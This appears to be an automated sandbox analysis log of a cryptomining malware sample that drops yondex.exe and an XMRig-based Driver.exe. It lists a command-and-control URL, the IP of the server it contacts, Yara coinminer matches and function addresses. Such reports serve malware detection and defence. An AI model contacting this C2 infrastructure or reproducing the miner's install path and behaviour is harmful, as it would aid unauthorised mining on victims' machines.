Source: yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php?hwid=B81A4609d
Source: yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php?hwid=B8dJ
Source: yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php?hwid=B8dv
Source: yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php?tim
Source: yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003357000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000030C3000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003202000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php?timeout=1
Source: yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php?timeout=1d
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49878 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.0.yondex.exe.690000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: Driver.exe PID: 7280, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, type: DROPPED	Matched rule: Detects coinmining malware Author: ditekSHen

Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF65592C2F0: CreateFileW,CloseHandle,wcscpy,wcscpy,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF65592C2F0

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655934928	0_2_00007FF655934928
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65592F930	0_2_00007FF65592F930
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655950754	0_2_00007FF655950754
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65594B190	0_2_00007FF65594B190
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65593A4AC	0_2_00007FF65593A4AC
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65594CE88	0_2_00007FF65594CE88
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655925E24	0_2_00007FF655925E24
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF6559276C0	0_2_00007FF6559276C0
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655962550	0_2_00007FF655962550
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65595C838	0_2_00007FF65595C838
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655924840	0_2_00007FF655924840
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65592C2F0	0_2_00007FF65592C2F0
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65592A310	0_2_00007FF65592A310
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65593126C	0_2_00007FF65593126C
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655927288	0_2_00007FF655927288
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF6559421D0	0_2_00007FF6559421D0
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65593F180	0_2_00007FF65593F180
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65593B534	0_2_00007FF65593B534
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655943484	0_2_00007FF655943484
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF6559453F0	0_2_00007FF6559453F0
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65593AF18	0_2_00007FF65593AF18
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655941F20	0_2_00007FF655941F20
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655948DF4	0_2_00007FF655948DF4
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655950754	0_2_00007FF655950754
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655942D58	0_2_00007FF655942D58
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655962080	0_2_00007FF655962080
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655965AF8	0_2_00007FF655965AF8
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655931A48	0_2_00007FF655931A48
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655921AA4	0_2_00007FF655921AA4
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655942AB0	0_2_00007FF655942AB0
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65595FA94	0_2_00007FF65595FA94
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655943964	0_2_00007FF655943964
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65593C96C	0_2_00007FF65593C96C
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF6559589A0	0_2_00007FF6559589A0
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655958C1C	0_2_00007FF655958C1C
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655935B60	0_2_00007FF655935B60
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655944B98	0_2_00007FF655944B98
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65593BB90	0_2_00007FF65593BB90
